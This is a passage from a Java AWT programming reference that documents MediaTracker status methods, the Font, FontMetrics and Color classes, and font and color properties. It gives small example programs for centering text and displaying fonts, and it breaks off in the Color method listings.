The waitForAll() method blocks the current thread from running until all images controlled by this MediaTracker finish loading. If the wait is interrupted, waitForAll() throws an InterruptedException.

public synchronized boolean waitForAll (long ms) throws InterruptedException

The waitForAll() method blocks the current thread from running until all images controlled by this MediaTracker finish loading or until ms milliseconds have passed. If all the images have loaded, waitForAll() returns true; if the timer has expired, it returns false, and one or more images have not finished loading. If ms is 0, it waits until all images have loaded, with no timeout. When you interrupt the waiting, waitForAll() throws an InterruptedException.

Checking status

Several methods are available to check on the status of images loading. None of these methods block, so you can continue working while images are loading.

public boolean checkID (int id)

The checkID() method determines if all the images added with the id tag have finished loading. The method returns true if all images have completed loading (successfully or unsuccessfully). Since this can return true on error, you should also use isErrorID() to check for errors. If loading has not completed, checkID() returns false. This method does not force images to start loading.

public synchronized boolean checkID (int id, boolean load)

The checkID() method determines if all the images added with the id tag have finished loading. If the load flag is true, any images in the id group that have not started loading yet will start. The method returns true if all images have completed loading (successfully or unsuccessfully). Since this can return true on error, you should also use isErrorID() to check for errors. If loading has not completed, checkID() returns false.

public boolean checkAll ()

The checkAll() method determines if all images associated with the MediaTracker have finished loading. The method returns true if all images have completed loading (successfully or unsuccessfully). Since this can return true on error, you should also use isErrorAny() to check for errors. If loading has not completed, checkAll() returns false. This method does not force images to start loading.

public synchronized boolean checkAll (boolean load)

The checkAll() method determines if all images associated with the MediaTracker have finished loading. If the load flag is true, any image that has not started loading yet will start. The method returns true if all images have completed loading (successfully or unsuccessfully). Since this can return true on error, you should also use isErrorAny() to check for errors. If loading has not completed, checkAll() returns false.

public int statusID (int id, boolean load)

The statusID() method checks on the load status of the images in the id group. If there are multiple images in the group, the results are ORed together. If the load flag is true, any image in the id group that has not started loading yet will start. The return value is some combination of the class constants LOADING, ABORTED, ERRORED, and COMPLETE.

public int statusAll (boolean load)

The statusAll() method determines the load status of all the images associated with the MediaTracker. If this MediaTracker is watching multiple images, the results are ORed together. If the load flag is true, any image that has not started loading yet will start. The return value is some combination of the class constants LOADING, ABORTED, ERRORED, and COMPLETE.

public synchronized boolean isErrorID (int id)

The isErrorId() method checks whether any media in the id group encountered an error while loading. If any image resulted in an error, isErrorId() returns true; if there were no errors, it returns false.

public synchronized boolean isErrorAny ()

The isErrorAny() method checks to see if any image associated with the MediaTracker encountered an error. If there was an error, the method returns true; if none, false.

public synchronized Object[] getErrorsID (int id)

The getErrorsID() method returns an array of the objects that encountered errors in the group ID during loading. If loading caused no errors, the method returns null. The return type is an Object array instead of an Image array because MediaTracker will eventually support additional media types.

public synchronized Object[] getErrorsAny ()

The getErrorsAny() method returns an array of all the objects that encountered an error during loading. If there were no errors, the method returns null. The return type is an Object array instead of an Image array because MediaTracker will eventually support additional media types.

Using a MediaTracker

The init() method improves the AnimateApplet from Example 2.2 to ensure that images load before the animation sequence starts. Waiting for images to load is particularly important if there is a slow link between the computer on which the applet is running and the server for the image files. Note that in a few cases, like interlaced GIF files, you might be willing to display an image before it has completely loaded. However, judicious use of MediaTracker will give you much more control over your program's behavior.

The new init() method creates a MediaTracker, puts all the images in the animation sequence under the tracker's control, and then calls waitForAll() to wait until the images are loaded. Once the images are loaded, it calls isErrorsAny() to make sure that the images loaded successfully.

public void init () {
    MediaTracker mt = new MediaTracker (this);
    im = new Image[numImages];
    for (int i=0;i<numImages;i++) {
        im[i] = getImage (getDocumentBase(), "clock"+i+".jpg");
        mt.addImage (im[i], i);
    }
    try {
        mt.waitForAll();
        if (mt.isErrorAny())
            System.out.println ("Error loading images");
    } catch (Exception e) {
        e.printStackTrace ();
    }
}

Previous | Home | Next
Image | Book Index | Fonts and Colors
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] Fonts and Colors

Previous Chapter 3 Next

3. Fonts and Colors

Contents:
Fonts
FontMetrics
Color
SystemColor
Displaying Colors
Using Desktop Colors

This chapter introduces the java.awt classes that are used to work with different fonts and colors. First, we discuss the Font class, which determines the font used to display text strings, whether they are drawn directly on the screen (with drawString()) or displayed within a component like a text field. The FontMetrics class gives you detailed information about a font, which you can use to position text strings intelligently. Next, the Color class is used to represent colors and can be used to specify the background color of any object, as well as the foreground color used to display a text string or a shape. Finally, the SystemColor class (which is new to Java 1.1) provides access to the desktop color scheme.

3.1 Fonts

An instance of the Font class represents a specific font to the system. Within AWT, a font is specified by its name, style, and point size. Each platform that supports Java provides a basic set of fonts; to find the fonts supported on any platform, call Toolkit.getDefaultToolkit().getFontList(). This method returns a String array of the fonts available. Under Java 1.0, on any platform, the available fonts were: TimesRoman, Helvetica, Courier, Dialog, DialogInput, and ZapfDingbats. For copyright reasons, the list is substantially different in Java 1.1: the available font names are TimesRoman (Deprecated), Serif, Helvetica (Deprecated), SansSerif, Courier (Deprecated), Monospaced, Dialog, and DialogInput. The actual fonts available aren't changing; the deprecated font names are being replaced by non-copyrighted equivalents. Thus, TimesRoman is now Serif, Helvetica is now SansSerif, and Courier is Monospaced. The ZapfDingbats font name has been dropped completely because the characters in this font have official Unicode mappings in the range \u2700 to \u27ff.

NOTE:

If you desire non-Latin font support with Java 1.1, use the Unicode mappings for the characters. The actual font used is specified in a set of font.properties files in the lib subdirectory under java.home. These localized font files allow you to remap the "Serif", "SansSerif", and "Monospaced" names to different fonts.

The font's style is passed with the help of the class variables Font.PLAIN, Font.BOLD, and Font.ITALIC. The combination Font.BOLD | Font.ITALIC specifies bold italics.

A font's size is represented as an integer. This integer is commonly thought of as a point size; although that's not strictly correct, this book follows common usage and talks about font sizes in points.

It is possible to add additional font names to the system by setting properties. For example, putting the line below in the properties file or a resource file (resource files are new to Java 1.1) defines the name "AvantGarde" as an alias for the font SansSerif:

awt.font.avantgarde=SansSerif

With this line in the properties file, a Java program can use "AvantGarde" as a font name; when this font is selected, AWT uses the font SansSerif for display. The property name must be all lowercase. Note that we haven't actually added a new font to the system; we've only created a new name for an old font. See the discussion of getFont() and decode() for more on font properties.

The Font Class

Constants

There are four styles for displaying fonts in Java: plain, bold, italic, and bold italic. Three class constants are used to represent font styles:

public static final int BOLD

The BOLD constant represents a boldface font.

public static final int ITALIC

The ITALIC constant represents an italic font.

public static final int PLAIN

The PLAIN constant represents a plain or normal font.

The combination BOLD | ITALIC represents a bold italic font. PLAIN combined with either BOLD or ITALIC represents bold or italic, respectively.

There is no style for underlined text. If you want underlining, you have to do it manually, with the help of FontMetrics.

NOTE:

If you are using Microsoft's SDK, the com.ms.awt.FontX class includes direct support for underlined, strike through (line through middle), and outline fonts.

Variables

Three protected variables access the font setting. They are initially set through the Font constructor. To read these variables, use the Font class's "get" methods.

protected String name

The name of the font.

protected int size

The size of the font.

protected int style

The style of the font. The style is some logical combination of the constants listed previously.

Constructors

public Font (String name, int style, int size)

There is a single constructor for Font. It requires a name, style, and size. name represents the name of the font to create, case insensitive.

setFont (new Font ("TimesRoman", Font.BOLD | Font.ITALIC, 20));
Characteristics

public String getName ()

The getName() method returns the font's logical name. This is the name passed to the constructor for the specific instance of the Font. Remember that system properties can be used to alias font names, so the name used in the constructor isn't necessarily the actual name of a font on the system.

public String getFamily ()

The getFamily() method returns the actual name of the font that is being used to display characters. If the font has been aliased to another font, the getFamily() method returns the name of the platform-specific font, not the alias. For example, if the constructor was new Font ("AvantGarde", Font.PLAIN, 10) and the awt.font.avantgarde=Helvetica property is set, then getName() returns AvantGarde, and getFamily() returns Helvetica. If nobody set the property, both methods return AvantGarde, and the system uses the default font (since AvantGarde is a nonstandard font).

public int getStyle ()

The getStyle() method returns the current style of the font as an integer. Compare this value with the constants Font.BOLD, Font.PLAIN, and Font.ITALIC to see which style is meant. It is easier to use the isPlain(), isBold(), and isItalic() methods to find out the current style. getStyle() is more useful if you want to copy the style of some font when creating another.

public int getSize ()

The getSize() method retrieves the point size of the font, as set by the size parameter in the constructor. The actual displayed size may be different.

public FontPeer getPeer () (New)

The getPeer() method retrieves the platform-specific peer object. The object FontPeer is a platform-specific subclass of sun.awt.PlatformFont. For example, on a Windows 95 platform, this would be an instance of sun.awt.windows.WFontPeer.

Styles

public boolean isPlain ()

The isPlain() method returns true if the current font is neither bold nor italic. Otherwise, it returns false.

public boolean isBold ()

The isBold() method returns true if the current font is either bold or bold and italic. Otherwise, it returns false.

public boolean isItalic ()

The isItalic() method returns true if the current font is either italic or bold and italic. Otherwise, it returns false.

Font properties

Earlier, you saw how to use system properties to add aliases for fonts. In addition to adding aliases, you can use system properties to specify which fonts your program will use when it runs. This allows your users to customize their environments to their liking; your program reads the font settings at run-time, rather than using hard-coded settings. The format of the settings in a properties file is:

propname=fontname--style--size

where propname is the name of the property being set, fontname is any valid font name (including aliases), style is plain, bold, italic, or bolditalic, and size represents the desired size for the font. style and size default to plain and 12 points. Order is important; the font's style must always precede its size.

For example, let's say you have three areas on your screen: one for menus, one for labels, and one for input. In the system properties, you allow users to set three properties: myPackage.myClass.menuFont, myPackage.myClass.labelFont, and myPackage.myClass.inputFont. One user sets two:

myPackage.myClass.menuFont=TimesRoman-italic-24
myPackage.myClass.inputFont=Helvetica

The user has specified a Times font for menus and Helvetica for other input. The property names are up to the developer. The program uses getFont() to read the properties and set the fonts accordingly.

NOTE:

The location of the system properties file depends on the run-time environment and version you are using. Normally, the file goes into a subdirectory of the installation directory, or for environments where users have home directories, in a subdirectory for the user. Sun's HotJava, JDK, and appletviewer tools use the properties file in the .hotjava directory.

Most browsers do not permit modifying properties, so there is no file.

Java 1.1 adds the idea of "resource files," which are syntactically similar to properties files. Resource files are then placed on the server or within a directory found in the CLASSPATH. Updating the properties file is no longer recommended.

public static Font getFont (String name)

The getFont() method gets the font specified by the system property name. If name is not a valid system property, null is returned. This method is implemented by a call to the next version of getFont(), with the defaultFont parameter set to null.

Assuming the properties defined in the previous example, if you call the getFont() method with name set to myPackage.myClass.menuFont, the return value is a 24-point, italic, TimesRoman Font object. If called with name set to myPackage.myClass.inputFont, getFont() returns a 12-point, plain Helvetica Font object. If called with myPackage.myClass.labelFont as name, getFont() returns null because this user did not set the property myPackage.myClass.labelFont.

public static Font getFont (String name, Font defaultFont)

The getFont() method gets the font specified by the system property name. If name is not a valid system property, this version of getFont() returns the Font specified by defaultFont. This version allows you to provide defaults in the event the user does not wish to provide his own font settings.

public static Font decode (String name) (New)

The decode() method provides an explicit means to decipher font property settings, regardless of where the setting comes from. (The getFont() method can decipher settings, but only if they're in the system properties file.) In particular, you can use decode() to look up font settings in a resource file. The format of name is the same as that used by getFont(). If the contents of name are invalid, a 12-point plain font is returned. To perform the equivalent of getFont(`myPackage.myClass.menuFont`) without using system properties, see the following example. For a more extensive example using resource files, see Appendix A.

// Java 1.1 only
InputStream is = instance.getClass().getResourceAsStream("propfile");
Properties p = new Properties();
try {
    p.load (is);
    Font f = Font.decode(p.getProperty("myPackage.myClass.menuFont"));
} catch (IOException e) {
    System.out.println ("error loading props...");
}
Miscellaneous methods

public int hashCode ()

The hashCode() method returns a hash code for the font. This hash code is used whenever a Font object is used as the key in a Hashtable.

public boolean equals (Object o)

The equals() method overrides the equals() method of Object to define equality for Font objects. Two Font objects are equal if their size, style, and name are equal. The following example demonstrates why this is necessary.

Font a = new Font ("TimesRoman", Font.PLAIN, 10);
Font b = new Font ("TimesRoman", Font.PLAIN, 10);
// displays false since the objects are different objects
System.out.println (a == b);
// displays true since the objects have equivalent settings
System.out.println (a.equals (b));

public String toString ()

The toString() method of Font returns a string showing the current family, name, style, and size settings. For example:

java.awt.Font[family=TimesRoman,name=TimesRoman,style=bolditalic,size=20]

Previous | Home | Next
MediaTracker | Book Index | FontMetrics
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.2 FontMetrics

Previous Chapter 3
Fonts and Colors 		Next

3.2 FontMetrics

The abstract FontMetrics class provides the tools for calculating the actual width and height of text when displayed on the screen. You can use the results to position objects around text or to provide special effects like shadows and underlining.

Like the Graphics class, FontMetrics is abstract. The run-time Java platform provides a concrete implementation of FontMetrics. You don't have to worry about the actual class; it is guaranteed to implement all the methods of FontMetrics. In case you're curious, on a Windows 95 platform, either the class sun.awt.win32.Win32FontMetrics ( JDK1.0) or the class sun.awt.windows.WFontMetrics ( JDK1.1) extends FontMetrics. On a UNIX/Motif platform, the class is sun.awt.motif.X11FontMetrics. With the Macintosh, the class is sun.awt.macos.MacFontMetrics. If you're not using the JDK, the class names may be different, but the principle still applies: you don't have to worry about the concrete class.

The FontMetrics Class

Variables

protected Font font

The font whose metrics are contained in this FontMetrics object; use the getFont() method to get the value.

Constructors

protected FontMetrics (Font font)

There is no visible constructor for FontMetrics. Since the class is abstract, you cannot create a FontMetrics object. The way to get the FontMetrics for a font is to ask for it. Through the current graphics context, call the method getGraphics().getFontMetrics() to retrieve the FontMetrics for the current font. If a graphics context isn't available, you can get a FontMetrics object from the default Toolkit by calling the method Toolkit.getDefaultToolkit().getFontMetrics (aFontObject).

Font height

Four variables describe the height of a font: leading (pronounced like the metal), ascent, descent, and height. Leading is the amount of space required between lines of the same font. Ascent is the space above the baseline required by the tallest character in the font. Descent is the space required below the baseline by the lowest descender (the "tail" of a character like "y"). Height is the total of the three: ascent, baseline, and descent. Figure 3.1 shows these values graphically.

Figure 3.1: Font height metrics

[Graphic: Figure 3-1]

If that were the entire story, it would be simple. Unfortunately, it isn't. Some special characters (for example, capitals with umlauts or accents) are taller than the "tallest" character in the font; so Java defines a value called maxAscent to account for these. Similarly, some characters descend below the "greatest" descent, so Java defines a maxDescent to handle these cases.

NOTE:

It seems that on Windows and Macintosh platforms there is no difference between the return values of getMaxAscent() and getAscent(), or between getMaxDescent() and getDescent(). On UNIX platforms, they sometimes differ. For developing truly portable applications, the max methods should be used where necessary.

public int getLeading ()

The getLeading()method retrieves the leading required for the FontMetrics of the font. The units for this measurement are pixels.

public int getAscent ()

The getAscent()method retrieves the space above the baseline required for the tallest character in the font. The units for this measurement are pixels. You cannot get the ascent value for a specific character.

public int getMaxAscent ()

getMaxAscent() retrieves the height above the baseline for the character that's really the tallest character in the font, taking into account accents, umlauts, tildes, and other special marks. The units for this measurement are pixels. If you are using only ordinary ASCII characters below 128 (i.e., the English language character set), getMaxAscent() is not necessary.

If you're using getMaxAscent(),
avoid getHeight(); getHeight()
is based on getAscent() and
doesn't account for extra space.

For some fonts and platforms, getAscent() may include the space for the diacritical marks.

public int getDescent ()

The getDescent() method retrieves the space below the baseline required for the deepest character for the font. The units for this measurement are pixels. You cannot get the descent value for a specific character.

public int getMaxDescent ()
public int getMaxDecent ()

Some fonts may have special characters that extend farther below the baseline than the value returned by getDescent(). getMaxDescent() returns the real maximum descent for the font, in pixels. In most cases, you can still use the getDescent() method; visually, it is okay for an occasional character to extend into the space between lines. However, if it is absolutely, positively necessary that the descent space does not overlap with the next line's ascent requirements, use getMaxDescent() and avoid getDescent() and getHeight().

An early beta release of the AWT API included the method getMaxDecent(). It is left for compatibility with early beta code. Avoid using it; it is identical to getMaxDescent() in every way except spelling. Unfortunately, it is not flagged as deprecated.

public int getHeight ()

The getHeight() method returns the sum of getDescent(), getAscent(), and getLeading(). In most cases, this will be the distance between successive baselines when you are displaying multiple lines of text. The height of a font in pixels is not necessarily the size of a font in points.

Don't use getHeight() if you are displaying characters with accents, umlauts, and other marks that increase the character's height. In this case, compute the height yourself using the getMaxAscent() method. Likewise, you shouldn't use the method getHeight() if you are using getMaxDescent() instead of getDescent().

Character width

In the horizontal dimension, positioning characters is relatively simple: you don't have to worry about ascenders and descenders, you only have to worry about how far ahead to draw the next character after you have drawn the current one. The "how far" is called the advance width of a character. For most cases, the advance width is the actual width plus the intercharacter space. However, it's not a good idea to think in these terms; in many cases, the intercharacter space is actually negative (i.e., the bounding boxes for two adjacent characters overlap). For example, consider an italic font. The top right corner of one character probably extends beyond the character's advance width, overlapping the next character's bounding box. (To see this, look back at Figure 3.1; in particular, look at the ll in O'Reilly.) If you think purely in terms of the advance width (the amount to move horizontally after drawing a character), you won't run into trouble. Obviously, the advance width depends on the character, unless you're using a fixed width font.

public int charWidth (char character)

This version of the charWidth() method returns the advance width of the given character in pixels.

public int charWidth (int character)

The charWidth() method returns the advance width of the given character in pixels. Note that the argument has type int rather than char. This version is useful when overriding the Component.keyDown() method, which gets the integer value of the character pressed as a parameter. With the KeyEvent class, you should use the previous version with its getKeyChar() method.

public int stringWidth (String string)

The stringWidth() method calculates the advance width of the entire string in pixels. Among other things, you can use the results to underline or center text within an area of the screen. Example 3.1 and Figure 3.2 show an example that centers several text strings (taken from the command-line arguments) in a Frame.

Example 3.1: Centering Text in a Frame

import java.awt.*;
public class Center extends Frame {
    static String text[];
    private Dimension dim;
    static public void main (String args[]) {
        if (args.length == 0) {
            System.err.println ("Usage: java Center <some text>");
            return;
        }
        text = args;
        Center f = new Center();
        f.show();
    }
    public void addNotify() {
        super.addNotify();
        int maxWidth = 0;
        FontMetrics fm = getToolkit().getFontMetrics(getFont());
        for (int i=0;i<text.length;i++) {
            maxWidth = Math.max (maxWidth, fm.stringWidth(text[i]));
        }
        Insets inset = insets();
        dim = new Dimension (maxWidth + inset.left + inset.right,
            text.length*fm.getHeight() + inset.top + inset.bottom);
        resize (dim);
    }
    public void paint (Graphics g) {
        g.translate(insets().left, insets().top);
        FontMetrics fm = g.getFontMetrics();
        for (int i=0;i<text.length;i++) {
            int x,y;
            x = (size().width - fm.stringWidth(text[i]))/2;
            y = (i+1)*fm.getHeight()-1;
            g.drawString (text[i], x, y);
        }
    }
}

Figure 3.2: Centering text in a frame

[Graphic: Figure 3-2]

This application extends the Frame class. It stores its command-line arguments in the String array text[]. The addNotify() method sizes the frame appropriately. It computes the size needed to display the arguments and resizes the Frame accordingly. To compute the width, it takes the longest stringWidth() and adds the left and right insets. To compute the height, it takes the current font's height, multiplies it by the number of lines to display, and adds insets. Then it is up to the paint() method to use stringWidth() and getHeight() to figure out where to put each string.

public int charsWidth (char data[], int offset, int length)

The charsWidth() method allows you to calculate the advance width of the char array data, without first converting data to a String and calling the stringWidth() method. The offset specifies the element of data to start with; length specifies the number of elements to use. The first element of the array has an offset of zero. If offset or length is invalid, charsWidth() throws the run-time exception ArrayIndexOutOfBoundsException.

public int bytesWidth (byte data[], int offset, int length)

The bytesWidth() method allows you to calculate the advance width of the byte array data, without first converting data to a String and calling the stringWidth()method. The offset specifies the element of data to start with; length specifies the number of elements to use. The first element of the array has an offset of zero. If offset or length is invalid, bytesWidth() throws the run-time exception ArrayIndexOutOfBoundsException.

public int[] getWidths ()

The getWidths() method returns an integer array of the advance widths of the first 255 characters in the FontMetrics font. getWidths() is very useful if you are continually looking up the widths of ASCII characters. Obtaining the widths as an array and looking up individual character widths yourself results in less method invocation overhead than making many calls to charWidth().

public int getMaxAdvance ()

The getMaxAdvance() method returns the advance pixel width of the widest character in the font. This allows you to reserve enough space for characters before you know what they are. If you know you are going to display only ASCII characters, you are better off calculating the maximum value returned from getWidths(). When unable to determine the width in advance, the method getMaxAdvance() returns -1.

Miscellaneous methods

public Font getFont ()

The getFont() method returns the specific font for this FontMetrics instance.

public String toString ()

The toString() method of FontMetrics returns a string displaying the current font, ascent, descent, and height. For example:

sun.awt.win32.Win32FontMetrics[font=java.awt.Font[family=TimesRoman,
name=TimesRoman,style=bolditalic,size=20]ascent=17, descent=6, height=24]

Because this is an abstract class, the concrete implementation could return something different.

Font Display Example

Example 3.2 displays all the available fonts in the different styles at 12 points. The code uses the FontMetrics methods to ensure that there is enough space for each line. Figure 3.3 shows the results, using the Java 1.0 font names, on several platforms.

Example 3.2: Font Display

import java.awt.*;
public class Display extends Frame {
    static String[] fonts;
    private Dimension dim;
    Display () {
        super ("Font Display");
        fonts = Toolkit.getDefaultToolkit().getFontList();
    }
    public void addNotify() {
        Font f;
        super.addNotify();
        int height   = 0;
        int maxWidth = 0;
        final int vMargin  = 5, hMargin = 5;
        for (int i=0;i<fonts.length;i++) {
            f = new Font (fonts[i], Font.PLAIN, 12);
            height += getHeight (f);
            f = new Font (fonts[i], Font.BOLD, 12);
            height += getHeight (f);
            f = new Font (fonts[i], Font.ITALIC, 12);
            height += getHeight (f);
            f = new Font (fonts[i], Font.BOLD | Font.ITALIC, 12);
            height += getHeight (f);
            maxWidth = Math.max (maxWidth, getWidth (f, fonts[i] + " BOLDITALIC"));
        }
        Insets inset = insets();
        dim = new Dimension (maxWidth + inset.left + inset.right + hMargin,
                        height + inset.top + inset.bottom + vMargin);
        resize (dim);
    }
    static public void main (String args[]) {
        Display f = new Display();
        f.show();
    }
    private int getHeight (Font f) {
        FontMetrics fm = Toolkit.getDefaultToolkit().getFontMetrics(f);
        return fm.getHeight();
    }
    private int getWidth (Font f, String s) {
        FontMetrics fm = Toolkit.getDefaultToolkit().getFontMetrics(f);
        return fm.stringWidth(s);
    }
    public void paint (Graphics g) {
        int x = 0;
        int y = 0;
        g.translate(insets().left, insets().top);
        for (int i=0;i<fonts.length;i++) {
            Font plain = new Font (fonts[i], Font.PLAIN, 12);
            Font bold = new Font (fonts[i], Font.BOLD, 12);
            Font italic = new Font (fonts[i], Font.ITALIC, 12);
            Font bolditalic = new Font (fonts[i], Font.BOLD | Font.ITALIC, 12);
            g.setFont (plain);
            y += getHeight (plain);
            g.drawString (fonts[i] + " PLAIN", x, y);
            g.setFont (bold);
            y += getHeight (bold);
            g.drawString (fonts[i] + " BOLD", x, y);
            g.setFont (italic);
            y += getHeight (italic);
            g.drawString (fonts[i] + " ITALIC", x, y);
            g.setFont (bolditalic);
            y += getHeight (bolditalic);
            g.drawString (fonts[i] + " BOLDITALIC", x, y);
        }
        resize (dim);
    }
}

Figure 3.3: Fonts available with the Netscape Navigator 3.0 and Internet Explorer 3.0

[Graphic: Figure 3-3]

Previous | Home | Next
Fonts | Book Index | Color
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.3 Color

Previous Chapter 3
Fonts and Colors 		Next

3.3 Color

Not so long ago, color was a luxury; these days, color is a requirement. A program that uses only black and white seems hopelessly old fashioned. AWT's Color class lets you define and work with Color objects. When we discuss the Component class (see Chapter 5, Components), you will see how to use these color objects, and our discussion of the SystemColor subclass (new to Java 1.1; discussed later in this chapter) shows you how to control the colors that are painted on the screen.

A few words of warning: while colors give you the opportunity to make visually pleasing applications, they also let you do things that are incredibly ugly. Resist the urge to go overboard with your use of color; it's easy to make something hideous when you are trying to use every color in the palette. Also, realize that colors are fundamentally platform dependent, and in a very messy way. Java lets you use the same Color objects on any platform, but it can't guarantee that every display will treat the color the same way; the result depends on everything from your software to the age of your monitor. What looks pink on one monitor may be red on another. Furthermore, when running in an environment with a limited palette, AWT picks the available color that is closest to what you requested. If you really care about appearance, there is no substitute for testing.

Color Methods

Constants

The Color class has predefined constants (all of type public static final Color) for frequently used colors. These constants, their RGB values, and their HSB values (hue, saturation, brightness) are given in Table 3.1.

Table 3.1: Comparison of RGB and HSB Colors
Color | Red | Green | Blue | Hue | Saturation | Brightness
black | 0 | 0 | 0 | 0 | 0 | 0
blue | 0 | 0 | 255 | .666667 | 1 | 1
cyan | 0 | 255 | 255 | .5 | 1 | 1
darkGray | 64 | 64 | 64 | 0 | 0 | .25098
gray | 128 | 128 | 128 | 0 | 0 | .501961
green | 0 | 255 | 0 | .333333 | 1 | 1
lightGray | 192 | 192 | 192 | 0 | 0 | .752941
magenta | 255 | 0 | 255 | .833333 | 1 | 1
orange | 255 | 200 | 0 | .130719 | 1 | 1
pink | 255 | 175 | 175 | 0 | .313726 | 1
red | 255 | 0 | 0 | 0 | 1 | 1
white | 255 | 255 | 255 | 0 | 0 | 1
yellow | 255 | 255 | 0 | .166667 | 1 | 1

These constants are used like any other class variable: for example, Color.red is a constant Color object representing the color red. Many other color constants are defined in the SystemColor class. Constructors

When you're not using a predefined constant, you create Color objects by specifying the color's red, green, and blue components. Depending on which constructor you use, you can specify the components as integers between 0 and 255 (most intense) or as floating point intensities between 0.0 and 1.0 (most intense). The result is a 24-bit quantity that represents a color. The remaining 8 bits are used to represent transparency: that is, if the color is painted on top of something, does whatever was underneath show through? The Color class doesn't let you work with the transparency bits; all Color objects are opaque. However, you can use transparency when working with images; this topic is covered in Chapter 12, Image Processing.

public Color (int red, int green, int blue)

This constructor is the most commonly used. You provide the specific red, green, and blue values for the color. Valid values for red, green, and blue are between 0 and 255. The constructor examines only the low-order byte of the integer and ignores anything outside the range, including the sign bit.

public Color (int rgb)

This constructor allows you to combine all three variables in one parameter, rgb. Bits 16-23 represent the red component, and bits 8-15 represent the green component. Bits 0-7 represent the blue component. Bits 24-31 are ignored. Going from three bytes to one integer is fairly easy:

(((red & 0xFF) << 16 ) | ((green & 0xFF) << 8) | ((blue & 0xFF) << 0))

public Color (float red, float green, float blue)

This final constructor allows you to provide floating point values between 0.0 and 1.0 for each of red, green, and blue. Values outside of this range yield unpredictable results.

Settings

public int getRed ()

The getRed() method retrieves the current setting for the red component of the color.

public int getGreen ()

The getGreen() method retrieves the current setting for the green component of the color.

public int getBlue ()

The getBlue() method retrieves the current setting for the blue component of the color.

public int getRGB ()

The getRGB() method retrieves the current settings for red, green, and blue in one combined value. Bits 16-23 represent the red component. Bits 8-15 represent the green component. Bits 0-7 represent the blue component. Bits 24-31 are the transparency bits; they are always 0xff (opaque) when using the default RGB ColorModel.

public Color brighter ()

The brighter() method creates a new Color that is somewhat brighter than the current color. This method is useful if you want to highlight something on the screen.

NOTE:

Black does not get any brighter.

public Color darker ()

The darker() method returns a new Color that is somewhat darker than the current color. This method is useful if you are trying to de-emphasize an object on the screen. If you are creating your own Component, you can use a darker() Color to mark it inactive.

Color properties

Color properties are very similar to Font properties. You can use system properties (or resource files) to allow users to select colors for your programs. The settings have the form 0xRRGGBB, where RR is the red component of the color, GG represents the green component, and BB represents the blue component. 0x indicates that the number is in hexadecimal. If you (or your user) are comfortable using decimal values for colors (0x112233 is 1122867 in decimal), you can, but then it is harder to see the values of the different components.

NOTE:

The location of the system properties file depends on the run-time environment and version you are using. Ordinarily, the file will go into a subdirectory of the installation directory or, for environment's where users have home directories, in a subdirectory for the user. Sun's HotJava, JDK, and appletviewer tools use the properties file in the .hotjava directory.

Most browsers do not permit modifying properties, so there is no file.

Java 1.1 adds the idea of "resource files," which are syntactically similar to properties files. Resource files are then placed on the server or within a directory found in the CLASSPATH. Updating the properties file is no longer recommended.

For example, consider a screen that uses four colors: one each for the foreground, the background, inactive components, and highlighted text. In the system properties file, you allow users to select colors by setting the following properties:

myPackage.myClass.foreground
myPackage.myClass.background
myPackage.myClass.inactive
myPackage.myClass.highlight

One particular user set two:

myPackage.myClass.foreground=0xff00ff        #magenta
myPackage.myClass.background=0xe0e0e0        #light gray

These lines tell the program to use magenta as the foreground color and light gray for the background. The program will use its default colors for inactive components and highlighted text.

public static Color getColor (String name)

The getColor() method gets the color specified by the system property name. If name is not a valid system property, getColor() returns null. If the property value does not convert to an integer, getColor() returns null.

For the properties listed above, if you call getColor() with name set to the property myPackage.myClass.foreground, it returns a magenta Color object. If called with name set to myPackage.myClass.inactive, getColor() returns null.

public static Color getColor (String name, Color defaultColor)

The getColor() method gets the color specified by the system property name. This version of the getColor() method returns defaultColor if name is not a valid system property or the property's value does not convert to an integer.

For the previous example, if getColor() is called with name set to myPackage.myClass.inactive, the getColor() method returns the value of defaultColor. This allows you to provide defaults for properties the user doesn't wish to set explicitly.

public static Color getColor (String name, int defaultColor)

This getColor() method gets the color specified by the system property name. This version of the getColor() method returns defaultColor if name is not a valid system property or the property's value does not convert to an integer. The default color is specified as an integer in which bits 16-23 represent the red component, 8-15 represent the green component, and 0-7 represent the blue component. Bits 24-31 are ignored. If the property value does not convert to an integer, defaultColor is returned.

public static Color decode (String name) (New)

The decode() method provides an explicit means to decipher color property settings, regardless of where the setting comes from. (The getColor() method can decipher settings but only if they're in the system properties file.) In particular, you can use decode() to look up color settings in a resource file. The format of name is the same as that used by getColor(). If the contents of name do not translate to a 24-bit integer, the NumberFormatException run-time exception is thrown. To perform the equivalent of getColor(`myPackage.myClass.foreground`), without using system properties, see the following example. For a more extensive example using resource files, see Appendix A.

// Java 1.1 only
InputStream is = instance.getClass().getResourceAsStream("propfile");
Properties p = new Properties();
try {
    p.load (is);
    Color c = Color.decode(p.getProperty("myPackage.myClass.foreground"));
} catch (IOException e) {
    System.out.println ("error loading props...");
}
Hue, saturation, and brightness

So far, the methods we have seen work with a color's red, green, and blue components. There are many other ways to represent colors. This group of methods allows you to work in terms of the HSB (hue, saturation, brightness) model. Hue represents the base color to work with: working through the colors of the rainbow, red is represented by numbers immediately above 0; magenta is represented by numbers below 1; white is 0; and black is 1. Saturation represents the color's purity, ranging from completely unsaturated (either white or black depending upon brightness) to totally saturated ( just the base color present). Brightness is the desired level of luminance, ranging from black (0) to the maximum amount determined by the saturation level.

public static float[] RGBtoHSB (int red, int green, int blue, float[] hsbvalues)

The RGBtoHSB() method allows you to convert a specific red, green, blue value to the hue, saturation, and brightness equivalent. RGBtoHSB() returns the results in two different ways: the parameter hsbvalues and the method's return value. The values of these are the same. If you do not want to pass an hsbvalues array parameter, pass null. In both the parameter and the return value, the three components are placed in the array as follows:

hsbvalues[0] | contains hue
hsbvalues[1] | contains saturation
hsbvalues[2] | contains brightness

public static Color getHSBColor (float hue, float saturation, float brightness)

The getHSBColor() method creates a Color object by using hue, saturation, and brightness instead of red, green, and blue values.

public static int HSBtoRGB (float hue, float saturation, float brightness)

The HSBtoRGB() method converts a specific hue, saturation, and brightness to a Color and returns the red, green, and blue values as an integer. As with the constructor, bits 16-23 represent the red component, 8-15 represent the green component, and 0-7 represent the blue component. Bits 24-31 are ignored.

Miscellaneous methods

public int hashCode ()

The hashCode() method returns a hash code for the color. The hash code is used whenever a color is used as a key in a Hashtable.

public boolean equals (Object o)

